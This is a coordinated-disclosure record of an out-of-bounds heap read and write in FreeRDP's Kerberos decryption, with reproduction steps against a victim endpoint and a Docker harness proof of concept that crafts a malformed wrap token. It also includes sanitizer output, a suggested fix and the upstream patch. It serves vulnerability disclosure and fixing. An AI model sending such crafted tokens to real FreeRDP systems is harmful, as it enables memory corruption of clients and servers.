ANT-2026-S1E4Y69J · freerdp/freerdp

oob-write high

CVE-2026-73242 GHSA-vv64-95pc-vj9v

Severity Claude high · Security research firm high · Maintainer -

Discovered by Claude Mythos Preview

REPORT

Anthropic's analysis, sealed at approval. Disclosure to the maintainer was performed by Ada Logics.

ANT-2026-S1E4Y69J: Kerberos wrap-token EC field drives out-of-bounds decrypt

kerberos_DecryptMessage() reads the 16-bit EC and RRC fields from the peer-supplied GSS Wrap token header and validates RRC and the signature buffer length but never bounds EC. It then computes iov[0].data.data = header + 16 + rrc + ec and iov[2].data.data = header + 16 + ec and passes them to krb5_k_decrypt_iov(), which for AES-CTS-HMAC-SHA1-96 decrypts the IOVs in place before verifying the HMAC. With ec up to 0xFFFF these pointers land ~64KB past a ~60-byte heap chunk, producing an attacker-chosen-offset OOB read and write into adjacent heap memory before the integrity check fails. This is reachable via CredSSP pubKeyAuth/authInfo whenever FreeRDP's internal Kerberos SSPI is used for NLA, from a malicious server to a client or from an authenticated domain client to a FreeRDP server.

Target

Project: freerdp/freerdp
Location: winpr/libwinpr/sspi/Kerberos/kerberos.c:2242
Discovery: static analysis — not yet dynamically reproduced

Technical Details

The root cause is a missing bounds check on the attacker-controlled 16-bit EC field read at kerberos.c:2205: the surrounding validation at kerberos.c:2240/2242 pins rrc and sig_buffer->cbBuffer to enctype-derived constants but never constrains ec before it is added into the IOV base-pointer arithmetic at kerberos.c:2246 and 2248. Because MIT/Heimdal DK-family enctypes decrypt-then-MAC, krb5_k_decrypt_iov writes decrypted bytes in place at those OOB addresses before the HMAC failure aborts the operation.

Reproduction

  1. Establish an NLA/Kerberos session with the victim FreeRDP endpoint and complete the Kerberos context.
  2. Craft a GSS Wrap token of exactly cbSecurityTrailer bytes (e.g. 60 for AES256-CTS-HMAC-SHA1-96) with rrc set to the expected value and EC=0xFFFF.
  3. Send it as the CredSSP pubKeyAuth (or authInfo) blob in a TSRequest.
  4. Victim's kerberos_DecryptMessage() builds IOV pointers ~64KB past the heap-allocated token buffer and calls krb5_k_decrypt_iov().
  5. krb5 decrypts the OOB region in place (heap read + write) before the HMAC check fails and the call returns an error.

[No reproducer or sanitizer output attached — request from security-cvd@anthropic.com if needed.]

Suggested Fix

Before constructing the IOV pointers, validate that 16 + rrc + ec and 16 + ec do not exceed the signature/data buffer lengths and that EC is consistent with the token size.

Acknowledgement

This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by the Anthropic security team in collaboration with Anthropic Research. Please direct questions to security-cvd@anthropic.com and reference ANT-2026-S1E4Y69J.


Reference: ANT-2026-S1E4Y69J
Anthropic CVD Policy: https://www.anthropic.com/coordinated-vulnerability-disclosure

SECURITY RESEARCH FIRM ANALYSIS

Triage and disclosure were performed by Ada Logics. The writeup below is the document the firm sent to the maintainer.

Verdict
true positive
Severity
high

This issue was found using AI and agents, and has been reviewed manually.

The reproducer of this vulnerability is a harness-style reproducer rather than a full end-to-end reproducer. This is because the full end-to-end would be quite elaborate and the harness style reproducer captures the vulnerability well. I have thoroughly reviewed this to make sure we're not over-approximating the program flow. The reproducer still relies on the FreeRDP code to trigger the vuln but without relying on a binary produced by FreeRDP.

Summary

FreeRDP's Kerberos SSPI decrypts a peer-supplied GSS Wrap token (RFC 4121) during CredSSP/NLA. The token header carries two 16-bit fields: RRC (right rotation count) and EC (extra count). kerberos_DecryptMessage() validates RRC and the overall buffer length, but never bounds EC. It then uses EC directly in the pointer arithmetic that locates the encrypted regions, so a large EC moves those pointers past the end of the token buffer. The decrypt then runs on that out-of-bounds memory.

Because the AES-CTS-HMAC enctypes used by RDP NLA are decrypt-then-verify, the out-of-bounds read and the in-place out-of-bounds write happen before the integrity check can fail. With EC = 0xFFFF the regions land ~64 KB past a ~60-byte heap allocation.

Affected versions

Details

kerberos_DecryptMessage() (winpr/libwinpr/sspi/Kerberos/kerberos.c):

ec  = winpr_Data_Get_UINT16_BE(&header[4]);   // :2278  attacker-controlled, NEVER bounded
rrc = winpr_Data_Get_UINT16_BE(&header[6]);   // :2279

... /* rrc and the total length are validated; note NO term uses ec: */
if (sig_buffer->cbBuffer != 16 + rrc + iov[0].data.length)   // :2315  no `ec`
    return SEC_E_INVALID_TOKEN;

/* Locate the message parts — ec is added straight into the base pointers: */
iov[0].data.data = (char*)&header[16 + rrc + ec];            // :2319  OOB base
iov[2].data.data = (char*)&header[16 + ec];                  // :2321  OOB base

if (krb_log_exec(krb5glue_decrypt_iov, creds->ctx, key, usage, iov, ...))  // :2328
    return SEC_E_INTERNAL_ERROR;                             // decrypt-in-place happens here

The length check at :2315 pins RRC and cbBuffer to enctype constants (for AES256-CTS-HMAC-SHA1-96: RRC = 28, cbBuffer = 60) but contains no EC term. Nothing constrains 16 + ec or 16 + rrc + ec to stay inside the buffer, so EC (0..0xFFFF) freely offsets the IOV base pointers out of bounds. MIT/Heimdal DK enctypes decrypt the IOV regions in place and only check the HMAC afterwards, so krb5_k_decrypt_iov() reads and writes at the attacker-chosen offset before any error is returned.

Reach: the token comes straight from the peer. nla_recv / nla_server_recv → credssp_auth_decrypt (libfreerdp/core/credssp_auth.c) calls the SSPI DecryptMessage on the peer's pubKeyAuth/authInfo bytes → kerberos_DecryptMessage. Both directions apply: a malicious server to a FreeRDP client, and an authenticated client to a FreeRDP server.

Proof of Concept

A self-contained Docker reproducer builds real MIT krb5 (1.21.3) and the real FreeRDP libwinpr, both with AddressSanitizer, and exercises the real, unmodified kerberos_DecryptMessage(). It reconstructs the exact state a completed Kerberos NLA handshake leaves behind — a real AES256-CTS-HMAC-SHA1-96 session key and Kerberos SSPI context — then feeds the function one GSS Wrap token with EC = 0xFFFF (RRC = 28, 60-byte token), i.e. the same call credssp_auth_decrypt() makes on peer input.

Scope note: this drives the real vulnerable function inside real winpr + real krb5 (so the out-of-bounds access occurs in genuine krb5 crypto code), with the post-authentication context constructed in-process rather than over a live network handshake. Reaching it over the wire additionally requires a completed Kerberos NLA context (a KDC, a service keytab, and a peer that finishes the Kerberos exchange before sending the malformed token).

Build and run:

docker build -t frdp-krb5-ec-oob .
docker run --rm frdp-krb5-ec-oob

AddressSanitizer output (master HEAD 5e8e987b, 2026-07-14):

[poc] sig token = 60 bytes (heap chunk), EC=0xffff RRC=28; iov[2].data = header + 16 + EC = header + 65551 (OOB)
==8==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7b8621ff052b ...
READ of size 16 at 0x7b8621ff052b thread T0
    #0 __asan_memcpy
    #1 k5_iov_cursor_get        src/lib/crypto/krb/aead.c:182:9
    #2 krb5int_aes_decrypt      src/lib/crypto/builtin/enc_provider/aes.c:350:5
    #3 krb5int_dk_decrypt       src/lib/crypto/krb/enc_dk_hmac.c:246:11
    #4 kerberos_DecryptMessage  winpr/libwinpr/sspi/Kerberos/kerberos.c:2328:6
    #5 run_poc                  winpr/libwinpr/sspi/Kerberos/kerberos.c  (the harness)
Address 0x7b8621ff052b is a wild pointer inside of access range of size 0x000000000010.
SUMMARY: AddressSanitizer: heap-buffer-overflow src/lib/crypto/krb/aead.c:182:9 in k5_iov_cursor_get

The read at header + 16 + EC is the first gathered AES block; the matching scatter writes the decrypted block back to the same out-of-bounds region.

Complete reproducer files

Place these three files in one directory and run the build/run commands above. harness.c is appended to the real kerberos.c so it can call the static kerberos_DecryptMessage(); main.c is the entry point that invokes it.

Dockerfile

FROM ubuntu:24.04
ENV DEBIAN_FRONTEND=noninteractive

# Pinned commit: current upstream HEAD of the default branch.
ARG TARGET_COMMIT=5e8e987b469b60a3bafadf8f5afc40f91c09f458
ARG CLANG_VERSION=20
# Pinned MIT krb5 release, built from source WITH ASan so the in-place AES-CTS
# decrypt writes land in instrumented code (and produce symbolized frames).
ARG KRB5_VERSION=1.21.3

RUN apt-get update && apt-get install -y --no-install-recommends \
        ca-certificates git make cmake ninja-build pkg-config libc6-dev \
        bison flex perl python3 \
        libssl-dev zlib1g-dev \
        wget gnupg lsb-release software-properties-common xz-utils \
    && wget -qO /tmp/llvm.sh https://apt.llvm.org/llvm.sh && chmod +x /tmp/llvm.sh && /tmp/llvm.sh ${CLANG_VERSION} \
    && apt-get install -y --no-install-recommends clang-${CLANG_VERSION} llvm-${CLANG_VERSION} libclang-rt-${CLANG_VERSION}-dev \
    && rm -rf /var/lib/apt/lists/*

ENV CC=clang-${CLANG_VERSION}
ENV CXX=clang++-${CLANG_VERSION}
ENV ASAN_CFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address"

# ---- Build MIT krb5 from source with AddressSanitizer ----
RUN wget -qO /tmp/krb5.tar.gz https://kerberos.org/dist/krb5/1.21/krb5-${KRB5_VERSION}.tar.gz \
    && mkdir -p /src/krb5 && tar -xzf /tmp/krb5.tar.gz -C /src/krb5 --strip-components=1
WORKDIR /src/krb5/src
# Static-only build: the ASan runtime is resolved at the final link of the
# winpr .so / harness, avoiding per-shared-object asan-runtime link failures.
RUN CC=${CC} CFLAGS="${ASAN_CFLAGS} -fPIC -fcommon -mllvm -asan-use-odr-indicator=0" \
        LDFLAGS="-fsanitize=address" \
        ./configure --prefix=/usr/local --enable-static --disable-shared \
        --without-system-verto --disable-rpath \
    && make -j"$(nproc)" && make install
RUN ldconfig

# ---- Clone FreeRDP ----
RUN git clone https://github.com/freerdp/freerdp /src/repo
WORKDIR /src/repo
RUN git checkout ${TARGET_COMMIT}

# Append the harness INTO the real kerberos.c translation unit so it can
# reach the static kerberos_DecryptMessage() and the internal struct layouts.
COPY harness.c /tmp/harness.c
RUN cat /tmp/harness.c >> winpr/libwinpr/sspi/Kerberos/kerberos.c

# Optional one-line candidate fix: bound EC so the IOV base pointers cannot be
# pushed past the token buffer. APPLY_FIX=1 enables it for fix verification.
ARG APPLY_FIX=0
COPY apply_fix.py /tmp/apply_fix.py
RUN if [ "${APPLY_FIX}" = "1" ]; then python3 /tmp/apply_fix.py; else echo "no fix"; fi

# X11 + misc dev headers so the full-project CMake configure step succeeds
# (we still only *build* the winpr target).
RUN apt-get update && apt-get install -y --no-install-recommends \
        libx11-dev libxext-dev libxcursor-dev libxi-dev libxrandr-dev \
        libxrender-dev libxfixes-dev libxkbcommon-dev libxdamage-dev \
        libxtst-dev libxv-dev uuid-dev \
    && rm -rf /var/lib/apt/lists/*

# ---- Build winpr (only) with ASan, against our ASan krb5 ----
ENV PATH=/usr/local/bin:$PATH
RUN cmake -GNinja -B build -S . \
        -DCMAKE_BUILD_TYPE=Debug \
        -DWITH_KRB5=ON -DKRB5_ROOT_CONFIG=/usr/local/bin/krb5-config -DKRB5_ROOT_FLAVOUR=MIT \
        -DWITH_SERVER=OFF -DWITH_CLIENT=OFF -DWITH_CLIENT_COMMON=OFF -DWITH_SAMPLE=OFF \
        -DWITH_CHANNELS=OFF -DWITH_CUPS=OFF -DBUILD_TESTING=OFF \
        -DWITH_MANPAGES=OFF -DWITH_SWSCALE=OFF -DWITH_FFMPEG=OFF -DWITH_X11=OFF \
        -DCMAKE_C_FLAGS="${ASAN_CFLAGS}" -DCMAKE_CXX_FLAGS="${ASAN_CFLAGS}" \
        -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
        -DCMAKE_SHARED_LINKER_FLAGS="-fsanitize=address" \
    && cmake --build build --target winpr -j"$(nproc)"

RUN find /src/repo/build -name 'libwinpr*.so*' && \
    nm -D $(find /src/repo/build -name 'libwinpr*.so' | head -1) | grep run_poc

# ---- Compile the entry point against libwinpr ----
COPY main.c /tmp/main.c
# libwinpr3.so was linked against STATIC krb5 and left krb5-internal symbols
# (k5_*, krb5int_*) undefined; resolve them at the final executable link by
# pulling the static krb5 archives in a link group.
RUN WINPR_SO_DIR=$(dirname $(find /src/repo/build -name 'libwinpr*.so' | head -1)) && \
    ${CC} ${ASAN_CFLAGS} /tmp/main.c \
        -L${WINPR_SO_DIR} -lwinpr3 \
        -Wl,--start-group /usr/local/lib/libkrb5.a /usr/local/lib/libk5crypto.a \
            /usr/local/lib/libcom_err.a /usr/local/lib/libkrb5support.a \
            /usr/local/lib/libgssapi_krb5.a -Wl,--end-group \
        -lresolv -ldl -lpthread \
        -Wl,-rpath,${WINPR_SO_DIR} -Wl,-rpath,/usr/local/lib \
        -fsanitize=address -o /tmp/poc_run && \
    echo "${WINPR_SO_DIR}" > /tmp/winpr_so_dir

ENV ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:symbolize=1
ENV ASAN_SYMBOLIZER_PATH=/usr/lib/llvm-${CLANG_VERSION}/bin/llvm-symbolizer
ENV LD_LIBRARY_PATH=/usr/local/lib

CMD ["/bin/sh","-c","export LD_LIBRARY_PATH=$(cat /tmp/winpr_so_dir):/usr/local/lib; /tmp/poc_run 2>&1; echo EXIT=$?"]

harness.c

/* Appended to the real winpr kerberos.c translation unit so it can call the
 * static kerberos_DecryptMessage() and see the internal s_KRB_CONTEXT /
 * KRB_CREDENTIALS layouts, the SSPI helpers and the GSS token constants.
 *
 * It builds the exact state a completed Kerberos NLA handshake leaves behind
 * (a real AES256-CTS-HMAC-SHA1-96 krb5 session key + Kerberos SSPI context),
 * crafts one GSS Wrap token with EC=0xFFFF, and feeds it to
 * kerberos_DecryptMessage() — the same call CredSSP/NLA makes on the
 * peer-supplied pubKeyAuth/authInfo blob. */

#ifdef WITH_KRB5_MIT

WINPR_API int run_poc(void);

int run_poc(void)
{
    krb5_context kctx = nullptr;
    krb5_error_code rc = krb5_init_context(&kctx);
    if (rc) { fprintf(stderr, "[poc] krb5_init_context failed %d\n", (int)rc); return 2; }

    /* A random session key with the same enctype NLA negotiates for RDP. */
    krb5_keyblock kb;
    memset(&kb, 0, sizeof(kb));
    rc = krb5_c_make_random_key(kctx, ENCTYPE_AES256_CTS_HMAC_SHA1_96, &kb);
    if (rc) { fprintf(stderr, "[poc] krb5_c_make_random_key failed %d\n", (int)rc); return 2; }

    krb5_key kkey = nullptr;
    rc = krb5_k_create_key(kctx, &kb, &kkey);
    if (rc) { fprintf(stderr, "[poc] krb5_k_create_key failed %d\n", (int)rc); return 2; }

    KRB_CREDENTIALS* creds = (KRB_CREDENTIALS*)calloc(1, sizeof(KRB_CREDENTIALS));
    creds->ctx = kctx;

    KRB_CONTEXT* ctx = (KRB_CONTEXT*)calloc(1, sizeof(KRB_CONTEXT));
    ctx->credentials = creds;
    ctx->flags = SSPI_GSS_C_CONF_FLAG; /* confidentiality negotiated */
    ctx->acceptor = FALSE;             /* we are the initiator (client) */
    ctx->keyset.acceptor_key = kkey;   /* get_key() returns this */

    /* AES256-CTS-HMAC-SHA1-96: header=16, padding=0, trailer=12, so the
     * validation pins rrc = 28 and cbBuffer = 60.  EC is NEVER bounded. */
    const uint16_t EC = 0xFFFF;
    const uint16_t RRC = 28;
    const ULONG TOKLEN = 60;

    BYTE* tok = (BYTE*)calloc(1, TOKLEN);
    winpr_Data_Write_UINT16_BE(tok, TOK_ID_WRAP);
    tok[2] = (BYTE)(FLAG_SENDER_IS_ACCEPTOR | FLAG_WRAP_CONFIDENTIAL);
    tok[3] = 0xFF;
    winpr_Data_Write_UINT16_BE(&tok[4], EC);  /* <<< unbounded attacker field */
    winpr_Data_Write_UINT16_BE(&tok[6], RRC);
    winpr_Data_Write_UINT64_BE(&tok[8], 0);   /* seq_no */

    BYTE* dbuf = (BYTE*)calloc(1, 1);

    SecBuffer buffers[2];
    memset(buffers, 0, sizeof(buffers));
    buffers[0].BufferType = SECBUFFER_TOKEN;
    buffers[0].cbBuffer = TOKLEN;
    buffers[0].pvBuffer = tok;
    buffers[1].BufferType = SECBUFFER_DATA;
    buffers[1].cbBuffer = 0;
    buffers[1].pvBuffer = dbuf;

    SecBufferDesc msg;
    memset(&msg, 0, sizeof(msg));
    msg.ulVersion = SECBUFFER_VERSION;
    msg.cBuffers = 2;
    msg.pBuffers = buffers;

    SecHandle handle;
    memset(&handle, 0, sizeof(handle));
    sspi_SecureHandleSetUpperPointer(&handle, (void*)KERBEROS_SSP_NAME);
    sspi_SecureHandleSetLowerPointer(&handle, ctx);

    ULONG qop = 0;
    fprintf(stderr,
            "[poc] sig token = %lu bytes (heap chunk), EC=0x%04x RRC=%u; "
            "iov[2].data = header + 16 + EC = header + %u (OOB)\n",
            (unsigned long)TOKLEN, EC, RRC, 16 + EC);
    fflush(stderr);

    SECURITY_STATUS st = kerberos_DecryptMessage(&handle, &msg, 0, &qop);

    fprintf(stderr, "[poc] kerberos_DecryptMessage returned 0x%08x (no crash)\n", (unsigned)st);
    return 0;
}

#else  /* !WITH_KRB5_MIT */
WINPR_API int run_poc(void);
int run_poc(void) { fprintf(stderr, "[poc] built without WITH_KRB5_MIT\n"); return 3; }
#endif

main.c

/* Entry point. run_poc() is the harness compiled into the real winpr kerberos.c
 * translation unit (so it can reach the static kerberos_DecryptMessage()). */
extern int run_poc(void);

int main(void)
{
    return run_poc();
}

apply_fix.py (for the fix check — docker build --build-arg APPLY_FIX=1 ...)

#!/usr/bin/env python3
# Bound the attacker-controlled EC field so the IOV base pointers cannot be
# pushed past the token buffer before krb5_k_decrypt_iov() decrypts in place.
p = "winpr/libwinpr/sspi/Kerberos/kerberos.c"
s = open(p).read()
anchor = "\t/* Locate the parts of the message */"
guard = (
    "\t/* FIX: EC must not push the IOV base pointers past the token buffer */\n"
    "\tif ((size_t)16 + rrc + ec + iov[0].data.length > sig_buffer->cbBuffer)\n"
    "\t\treturn SEC_E_INVALID_TOKEN;\n\n"
)
assert anchor in s, "anchor not found"
s = s.replace(anchor, guard + anchor, 1)
open(p, "w").write(s)
print("FIX applied")

Suggested fix

Reject a token whose EC (with RRC) would push the IOV base pointers past the signature buffer, before computing them:

     if (sig_buffer->cbBuffer != 16 + rrc + iov[0].data.length)
         return SEC_E_INVALID_TOKEN;
+
+    /* EC must not move the IOV base pointers past the token buffer. */
+    if ((size_t)16 + rrc + ec + iov[0].data.length > sig_buffer->cbBuffer)
+        return SEC_E_INVALID_TOKEN;

For FreeRDP's RDP-NLA usage the send side writes EC = 0, so rejecting EC > 0 is safe. We verified this guard against the reproducer: the out-of-bounds access no longer occurs and the call returns SEC_E_INVALID_TOKEN.

References

Attribution

This issue was found using AI and agents, and has been reviewed manually. Please credit Claude and Ada Logics — found by Anthropic using agents to study the security of open-source projects, with Ada Logics validating and reporting. Let us know if you need any more information.

Disclosure

We follow coordinated disclosure policy here: https://www.anthropic.com/coordinated-vulnerability-disclosure (90 day deadline).

UPSTREAM FIX

The change that resolved this finding.

diff --git a/winpr/libwinpr/sspi/Kerberos/kerberos.c b/winpr/libwinpr/sspi/Kerberos/kerberos.c
index 9661f71a9515..03b208fbdfdc 100644
--- a/winpr/libwinpr/sspi/Kerberos/kerberos.c
+++ b/winpr/libwinpr/sspi/Kerberos/kerberos.c
@@ -2242,21 +2242,6 @@ static SECURITY_STATUS SEC_ENTRY kerberos_DecryptMessage(WINPR_ATTR_UNUSED PCtxt
 {
 #ifdef WITH_KRB5
 	KRB_CONTEXT* context = get_context(phContext);
-	PSecBuffer sig_buffer = nullptr;
-	PSecBuffer data_buffer = nullptr;
-	krb5glue_key key = nullptr;
-	krb5_keyusage usage = 0;
-	uint16_t tok_id = 0;
-	BYTE flags = 0;
-	uint16_t ec = 0;
-	uint16_t rrc = 0;
-	uint64_t seq_no = 0;
-	krb5_crypto_iov iov[] = { { KRB5_CRYPTO_TYPE_HEADER, WINPR_C_ARRAY_INIT },
-		                      { KRB5_CRYPTO_TYPE_DATA, WINPR_C_ARRAY_INIT },
-		                      { KRB5_CRYPTO_TYPE_DATA, WINPR_C_ARRAY_INIT },
-		                      { KRB5_CRYPTO_TYPE_PADDING, WINPR_C_ARRAY_INIT },
-		                      { KRB5_CRYPTO_TYPE_TRAILER, WINPR_C_ARRAY_INIT } };
-
 	if (!context)
 		return SEC_E_INVALID_HANDLE;
 
@@ -2265,19 +2250,19 @@ static SECURITY_STATUS SEC_ENTRY kerberos_DecryptMessage(WINPR_ATTR_UNUSED PCtxt
 
 	KRB_CREDENTIALS* creds = context->credentials;
 
-	sig_buffer = sspi_FindSecBuffer(pMessage, SECBUFFER_TOKEN);
-	data_buffer = sspi_FindSecBuffer(pMessage, SECBUFFER_DATA);
+	const PSecBuffer sig_buffer = sspi_FindSecBuffer(pMessage, SECBUFFER_TOKEN);
+	PSecBuffer data_buffer = sspi_FindSecBuffer(pMessage, SECBUFFER_DATA);
 
 	if (!sig_buffer || !data_buffer || sig_buffer->cbBuffer < 16)
 		return SEC_E_INVALID_TOKEN;
 
 	/* Read in header information */
-	BYTE* header = sig_buffer->pvBuffer;
-	tok_id = winpr_Data_Get_UINT16_BE(header);
-	flags = header[2];
-	ec = winpr_Data_Get_UINT16_BE(&header[4]);
-	rrc = winpr_Data_Get_UINT16_BE(&header[6]);
-	seq_no = winpr_Data_Get_UINT64_BE(&header[8]);
+	const BYTE* header = sig_buffer->pvBuffer;
+	const uint16_t tok_id = winpr_Data_Get_UINT16_BE(header);
+	const BYTE flags = header[2];
+	const uint16_t ec = winpr_Data_Get_UINT16_BE(&header[4]);
+	const uint16_t rrc = winpr_Data_Get_UINT16_BE(&header[6]);
+	const uint64_t seq_no = winpr_Data_Get_UINT64_BE(&header[8]);
 
 	/* Check that the header is valid */
 	if ((tok_id != TOK_ID_WRAP) || (header[3] != 0xFF))
@@ -2298,12 +2283,17 @@ static SECURITY_STATUS SEC_ENTRY kerberos_DecryptMessage(WINPR_ATTR_UNUSED PCtxt
 		return SEC_E_INVALID_TOKEN;
 
 	/* Find the proper key and key usage */
-	key = get_key(&context->keyset);
+	krb5glue_key key = get_key(&context->keyset);
 	if (!key || ((flags & FLAG_ACCEPTOR_SUBKEY) && (context->keyset.acceptor_key != key)))
 		return SEC_E_INTERNAL_ERROR;
-	usage = context->acceptor ? KG_USAGE_INITIATOR_SEAL : KG_USAGE_ACCEPTOR_SEAL;
+	krb5_keyusage usage = context->acceptor ? KG_USAGE_INITIATOR_SEAL : KG_USAGE_ACCEPTOR_SEAL;
 
 	/* Fill in the lengths of the iov array */
+	krb5_crypto_iov iov[] = { { KRB5_CRYPTO_TYPE_HEADER, WINPR_C_ARRAY_INIT },
+		                      { KRB5_CRYPTO_TYPE_DATA, WINPR_C_ARRAY_INIT },
+		                      { KRB5_CRYPTO_TYPE_DATA, WINPR_C_ARRAY_INIT },
+		                      { KRB5_CRYPTO_TYPE_PADDING, WINPR_C_ARRAY_INIT },
+		                      { KRB5_CRYPTO_TYPE_TRAILER, WINPR_C_ARRAY_INIT } };
 	iov[1].data.length = data_buffer->cbBuffer;
 	iov[2].data.length = 16;
 	if (krb_log_exec(krb5glue_crypto_length_iov, creds->ctx, key, iov, ARRAYSIZE(iov)))
@@ -2316,9 +2306,17 @@ static SECURITY_STATUS SEC_ENTRY kerberos_DecryptMessage(WINPR_ATTR_UNUSED PCtxt
 		return SEC_E_INVALID_TOKEN;
 
 	/* Locate the parts of the message */
-	iov[0].data.data = (char*)&header[16 + rrc + ec];
+	const size_t iov0Offset = 16ull + rrc + ec;
+	if (iov0Offset + iov[0].data.length > sig_buffer->cbBuffer)
+		return SEC_E_INVALID_TOKEN;
+
+	const size_t iov2Offset = 16ull + ec;
+	if (iov2Offset + iov[2].data.length > sig_buffer->cbBuffer)
+		return SEC_E_INVALID_TOKEN;
+
+	iov[0].data.data = &header[iov0Offset];
 	iov[1].data.data = data_buffer->pvBuffer;
-	iov[2].data.data = (char*)&header[16 + ec];
+	iov[2].data.data = &header[iov2Offset];
 	char* data2 = iov[2].data.data;
 	iov[3].data.data = &data2[iov[2].data.length];
 

https://github.com/FreeRDP/FreeRDP/commit/0adf5e30d01be84e190a359a7bdd37bc51d740cc

TIMELINE

Recorded dates, in order.

  1. 2026-04-02 Discovered or logged
  2. 2026-07-16 Patch released
  3. 2026-07-22 Sent to maintainer
  4. 2026-07-22 Maintainer acknowledged
  5. 2026-09-28 Publicly revealed
PROVENANCE

SHA-3-512 hash:

e6007fd1601b40d0fb7b19dbb20bac927e968325cd83c0c1b5abf404b197925dd43d2343500ef7d1632611d5cce038ccc4ddf9e8f7b823ed5f4712ee94feeab3

Committed 2026-07-22 07:29 UTC

Revealed 2026-09-28 21:57 UTC

Verify (download preimage.json)

Show preimage JSON
{
  "ant_id": "ANT-2026-S1E4Y69J",
  "bug_class": "Out-of-Bounds Write / Memory Corruption",
  "claude_severity": "high",
  "commit_sha": null,
  "created_at": "2026-04-16T01:52:45+00:00",
  "description": "kerberos_DecryptMessage() reads the 16-bit EC and RRC fields from the peer-supplied GSS Wrap token header and validates RRC and the signature buffer length but never bounds EC. It then computes iov[0].data.data = header + 16 + rrc + ec and iov[2].data.data = header + 16 + ec and passes them to krb5_k_decrypt_iov(), which for AES-CTS-HMAC-SHA1-96 decrypts the IOVs in place before verifying the HMAC. With ec up to 0xFFFF these pointers land ~64KB past a ~60-byte heap chunk, producing an attacker-chosen-offset OOB read and write into adjacent heap memory before the integrity check fails. This is reachable via CredSSP pubKeyAuth/authInfo whenever FreeRDP's internal Kerberos SSPI is used for NLA, from a malicious server to a client or from an authenticated domain client to a FreeRDP server.",
  "discovered_at": "2026-04-02T00:00:00+00:00",
  "location": "winpr/libwinpr/sspi/Kerberos/kerberos.c:2242",
  "poc_sha256": null,
  "preimage_version": 1,
  "project": "freerdp/freerdp",
  "reproduction": [
    "1. Establish an NLA/Kerberos session with the victim FreeRDP endpoint and complete the Kerberos context.",
    "2. Craft a GSS Wrap token of exactly cbSecurityTrailer bytes (e.g. 60 for AES256-CTS-HMAC-SHA1-96) with rrc set to the expected value and EC=0xFFFF.",
    "3. Send it as the CredSSP pubKeyAuth (or authInfo) blob in a TSRequest.",
    "4. Victim's kerberos_DecryptMessage() builds IOV pointers ~64KB past the heap-allocated token buffer and calls krb5_k_decrypt_iov().",
    "5. krb5 decrypts the OOB region in place (heap read + write) before the HMAC check fails and the call returns an error."
  ],
  "technical_details": "The root cause is a missing bounds check on the attacker-controlled 16-bit EC field read at kerberos.c:2205: the surrounding validation at kerberos.c:2240/2242 pins rrc and sig_buffer->cbBuffer to enctype-derived constants but never constrains ec before it is added into the IOV base-pointer arithmetic at kerberos.c:2246 and 2248. Because MIT/Heimdal DK-family enctypes decrypt-then-MAC, krb5_k_decrypt_iov writes decrypted bytes in place at those OOB addresses before the HMAC failure aborts the operation.",
  "title": "Kerberos wrap-token EC field drives out-of-bounds decrypt",
  "vendor_severity": "high"
}